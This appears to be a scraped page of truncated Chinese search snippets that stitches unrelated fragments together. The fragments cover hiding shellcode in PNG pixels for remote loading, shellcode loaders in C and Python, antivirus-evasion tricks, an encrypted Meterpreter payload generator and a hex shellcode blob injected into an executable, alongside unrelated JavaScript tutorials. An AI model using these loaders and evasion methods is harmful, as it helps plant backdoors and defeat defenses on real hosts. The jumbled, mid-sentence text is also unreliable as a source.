前言 本篇文章将演示利用隐写术将 Shellcode 隐写入 PNG 图片 RGB 像素中,从而隐藏后门代码,并进行远程加载控制目标主机。...的图片,二者与 Invoke-PSImage.ps1 文件在同一目录: image-20210921162356384 远程加载 执行以下命令即可生成一个带有 Shellcode 的图片 shell.png...\Invoke-PSimage.ps1# 生成带有 Shellcode 的图片Invoke-PSImage -Script .\payload.ps1 -Image ....\Invoke-PSimage.ps1# 生成带有 Shellcode 的图片Invoke-PSImage -Script .\payload.ps1 -Image ....\shell.png image-20210921164514521 如上图所示,生成了包含 Shellcode 的图片 shell.png 与加载 Shellcode 使用的代码: sal a New-Object
http://data.eastmoney.com/jgdy/tj.html 我们希望抓取的是js生成的表格。 ...这种带有js的网站抓取其实不是那么简单的,基本分为那么几种方法,一种是观察页面,有的会有json数据,有的有js代码可以解析目标的url;一种是使用渲染工具;还有一种就是用工具来点击相关button,来抓取...我们希望爬取的是表格中的数据,但是如果我们仔细看一下html代码,会发现,这其实是js生成的,下面这张图是源代码的截图。 ? 这就很尴尬了,怎么办呢?...然后我们就点击第二页、第三页不断的来观察究竟js代码访问了什么后台的url。...pagesize=50&page=1&js=var YnQNqDYj¶m=&sortRule=-1&sortType=0&rt=50585869 http://data.eastmoney.com
同时,得益于Promise,我们在异步函数里可以这样写: (async () => { const data = await sleepSort([4, 5, 3, 6, 8]) console.log
button> //这里是插件的代码;我为了方便都写到一个html中了;请把这个script标签中的内容单独写在一个js...window,document,jQuery的映射;方便内部直接调用; //当然你不引用jq的话头部的$和底部的jQuery干掉;你若引用了更过的依赖可以依次添加; //最后面的undefined可不写;...号(叹号)或者;(分号)这不是写错了,为了防止那个二货写的js结束没有分号;而可能发生报错 /* ;function(win,doc,$,undefined){ }(window...function就不调用;对;这里是调用的时候最开始执行的函数 } //;给构造函数addHtml对象原型里添加属性(方法) addHtml.prototype = {//给函数写方法...:addHtml,//构造器指向构造函数;这行其实不写没啥毛病;不过有时候防止构造器指向Object的情况;你还是装逼写上吧; init:function(){//这里的init;你也可以写成
relative address add eax, r13d find_function_finished: ret 其中 format binary 和 use64 表示生成 64 位的 shellcode...加载 shellcode,可以自己写,也可以用这个项目里的 runshc64.exe 测试一下 https://github.com/hasherezade/pe_to_shellcode。...0x04 shellcode 退出 shellcode 执行完相应的功能,退出的方式有以下几种: 调用 kernel32!ExitProcess,适合直接终止整个程序 调用 kernel32!...mov rsp, rbp ; resotre rsp pop rbp ; restore rbp ret 这个解决之后,返回到调用 shellcode...之后的地方继续执行,会出现访问异常,这个调了一下,发现是 shellcode 执行过程把 rsi 寄存器改了,所以解决办法就是像 rbp 一样,先保存一下,最后恢复回去: push rsi
2 2--> <script src="<em>js</em>/2048.<em>js</em>" type="text
原文地址:https://github.com/lianxiaozhuang/blog 转载请注明出处 js 写插件教程深入 1.介绍具有安全作用域的构造函数 function Fn(name...constructor:Fn, getF:function(){ console.log(1); } } new Fn(); //new 出来的Fn就是一个构造函数 //倘若有人忘记写new...function(){} //大家可能都会有这样的纠结,getC到底写到this里还是原型里 //这要从内存说起;写到原型上,每执行一个实例,getC不需要开辟新的内存 //故,可以把一些纯计算的方法,写原型上...,如果方法和实例本身有关,应该写道this中 4.方法名防止冲突处理 //如果在引入你的插件之前,window下已经有Fn的变量;怎么办,你如果这么搞; 岂不是把别人写的Fn搞掉了 //此时应该把...var MyPlugin = function(options) { this.name = name; this.init(); }; //覆写原型链
加密 让我们从一个基本但重要的话题开始,静态 shellcode 混淆。...我们可以通过延迟执行我们的 shellcode 来滥用这个限制。简单地计算一个大素数是我个人的最爱。您可以更进一步,确定性地计算一个质数,并将该数字用作加密 shellcode 的(一部分)密钥。...简而言之,他的方法调整了典型 shellcode 加载器的以下行为: 与其分配一大块内存并直接将 ~250KB 植入 shellcode 写入该内存,不如分配小的连续块,例如 <64KB 内存并将它们标记为...然后以类似的块大小将 shellcode 写入分配的内存页面。 在上述每个操作之间引入延迟。这将增加执行 shellcode 所需的时间,但也会使连续执行模式变得不那么突出。...当植入物处于休眠状态时,它的线程返回地址指向我们驻留在内存中的 shellcode。通过检查可疑进程中线程的返回地址,可以很容易地识别出我们的植入 shellcode。
ShellCode 如下 目录 strstr ShellCode实现 1.函数原型 2.ShellCode提取. 3.汇编代码如下 strstr ShellCode实现 1.函数原型 char* Mystrstr...SrcStrPtr++; } return NULL; } else return (char*)SrcStrPtr; } 2.ShellCode...ShellCode 在内存中查看.可以看到其实自己已经重定位好了. 这是是方便直观贴出来的.
#include // 入口函数 int wmain(int argc,TCHAR * argv[]){ int shellcode_size = 0; // shellcode...( NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // 将shellcode...复制到可执行的内存页中 CopyMemory(shellcode,buf,shellcode_size); hThread = CreateThread( NULL, // 安全描述符...这里Shellcode 需要转换为字节集才可以在易语言上面运行 ? OK,成功运行,也就说明我们的思路是没有问题的。...加载器的思路没有问题,那么我们就可以对shellcode 进行加密免杀或者分离免杀。
生成包含 base64 编码、AES 加密的 shellcode 的 .Net 二进制文件,该 shellcode 将在 Windows 目标上执行,绕过防病毒软件。...使用meterpreter_encryptor.py来创建加密的 base64 shellcode: root@kali:~# ....CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS...(); } static void Shellcode() { // attempt heuristics/behaviour...CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS
看下偏移是400然后我们ue打开然后找到对应得偏移地址复制这个16进制就是我们需要的shellcode,然后把shellcode插入到进程中执行就可以了,这里我们可以静态得插入到未执行得exe文件中,或者动态的插入到正在执行得进程的内存中...558BEC83EC4C56E8E40000008BC8E8FD0000008BF0C745D0437265618D45D0C745D47465466950C745D86C654100E8BD00000050FFD66A006A006A026A006A0068000000408D4DF4C745F4312E74785166C745F87400FFD08D45B4C745B44C6F616450C745B84C696272C745BC61727941C645C000E87600000050FFD68D4DC4C745DC55736572518D4DDCC745E033322E645166C745E46C6CC645E600C745C44D657373C745C861676542C745CC6F784100FFD050FFD66A008D4DFCC745E879696375518D4DE8C745EC6E796979516A0066C745F06500C745FC74697000FFD033C05E8BE55DC3CCCCCCCCCCCCCCCCCC64A1300000008B400C8B40148B008B008B4010C3CCCCCCCCCCCCCCCCCCCCCCCC558BEC8BD183EC088B423C837C107C00750633C08BE55DC38B44107885C074F28B4C102403CA538B5C1020894DFC03DA8B4C101C568B74101803CA57894DF833FF33C94E8B048B03C2803847754E80780165754880780274754280780350753C8078047275368078056F753080780663752A80780741752480780864751E80780964751880780A72751280780B65750C80780C73750680780D73740E413BCE76A38BC75F5E5B8BE55DC38B45FC8B7DF80FB704488B3C8703FA8BC75F5E5B8BE55DC30000 这里是29行+4个,我用以前写的端口扫描做测试...修改同样大小他shellcode替换了,所以只要运行这个exe就会运行我们的shellcode ? 然后我们保存运行 ?...说明我们的shellcode插入了这个exe中,执行他就执行了我们的shellcode 我们也可以把他shellcode生成为一个bin文件再写个加载器运行。
算是一个总结 看雪文章也有写。这里做个备份。...链接: ShellCode定位EIP 第一种类型方式1: [SECTION .text] BITS 32 global _start _start: fldz fnstenv
可以看到可读可写不可执行,修改保存就行了 因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区...所以如果上面我们想要执行成功就要处理掉相关依赖,比如相关函数的地址,字符串地址 自己重定位了,shellcode:一段与地址无关的代码,只要把它放在任意32位程序中只要给他一个起点就能执行 所以我们要先开辟空间然后再写入...allocation DWORD flProtect // type of access protection); 代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode.../目标进程 lpAddr, //目标地址 目标进程中 data, //源数据 当前进程中 sizeof(data), //写多大.../目标进程 lpAddr, //目标地址 目标进程中 data, //源数据 当前进程中 sizeof(data), //写多大
1、下载nw.js https://nwjs.io/ 最好下载sdk版本。 2、解压打开安装包 下载完之后,解压打开 图中的「app文件夹」是我自己创建的,你也需要自己创建一个,里面放你项目文件。...下载链接打开它,选中「app.exe」然后将你刚才下好的nw.js里原始文件(除去你自己生成和创建的文件或文件夹)。
前言 在这篇文章中,我们将通过 JS 构建我们自己的 JS 解释器,用 JS 写 JS,这听起来很奇怪,尽管如此,这样做我们将更熟悉 JS,也可以学习 JS 引擎是如何工作的!...Webpack/Rollup/Babel(@babel/parser) 等第三方库也是使用 acorn.js 作为自己 Parser 的基础库。(站在巨人的肩膀上啊!)...acorn.js parse 返回值符合 ESTree spec 描述的 AST 对象,这里我们使用@types/estree 做类型定义。...: Expression | null; } Identifier 顾名思义,标识符节点,我们写 JS 时定义的变量名,函数名,属性名,都归为标识符。...JavaScript Build a JS Interpreter in JavaScript Using Acorn as a Parser
使用Kali Linux生成shellcode: ┌──(selph㉿kali)-[~/桌面/shellcode] └─$ msfvenom -p windows/exec cmd=calc.exe...的反汇编中给出的偏移去找结构,本文中足够用了 具体操作这里就不再介绍,有需要深入了解可自行学习 分析shellcode 准备工作 把生成的shellcode传到物理机,使用010editor打开:...ptr ds:[esi],bp | esi:_wWinMainCRTStartup 00BE2FA3 | 65:78 65 | js...ptr ds:[esi],bp | esi:_wWinMainCRTStartup 00BE2FA3 | 65:78 65 | js...//www.felixcloutier.com/x86/lods:lodsb:lodsw:lodsd:lodsq) • [5] 汇编跳转指令: JMP、JECXZ、JA、JB、JG、JL、JE、JZ、JS
前言 linux的shellcode就不用说了,直接通过一个int 0x80系统调用,指定想调用的函数的系统调用号(syscall),传入调用函数的参数,即可,懂的都懂。...不多讲了,一张图就行,PE文件格式内容要说多,专门有一本书来讲PE文件结构,要说简单,一张图就能概括,如果不是为了去写壳,脱壳.......根本不需要知道那么多。...编写shellcode 3.1 c++库文件配合内联汇编 先来针对指定系统的shellcode的编写,指定系统的,我们首先通过LoadLibraryA函数导入相应的dll文件,获得一个dll句柄,在把这个...很麻烦,然后自己用c++写了个小程序,用nasm来把汇编代码编译成机器码,实际效果: 在_asm文件中放入我们写好的shellcode,当然你也可以指定其他文件名: ?...然后执行程序 asm_shellcode.exe 文件名 位数(可不指定,默认32) ?
= "" shellcode = data shellcode = base64.b64decode(shellcode) shellcode =codecs.escape_decode(shellcode...)[0] shellcode = bytearray(shellcode) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64...(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32...转为bytes 这块就是将前面的shellcode,转为bytes类型,因为生成出来的payload为十六进制 然后在第八行中,通过bytearray来获取转为bytes类型后的shellcode...对比一下加载器的代码 buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory
metasploit团队将msfpayload&msfencode更改为msfvenom,因此我将上述代码转换为msfvenom:
领取专属 10元无门槛券
手把手带您无忧上云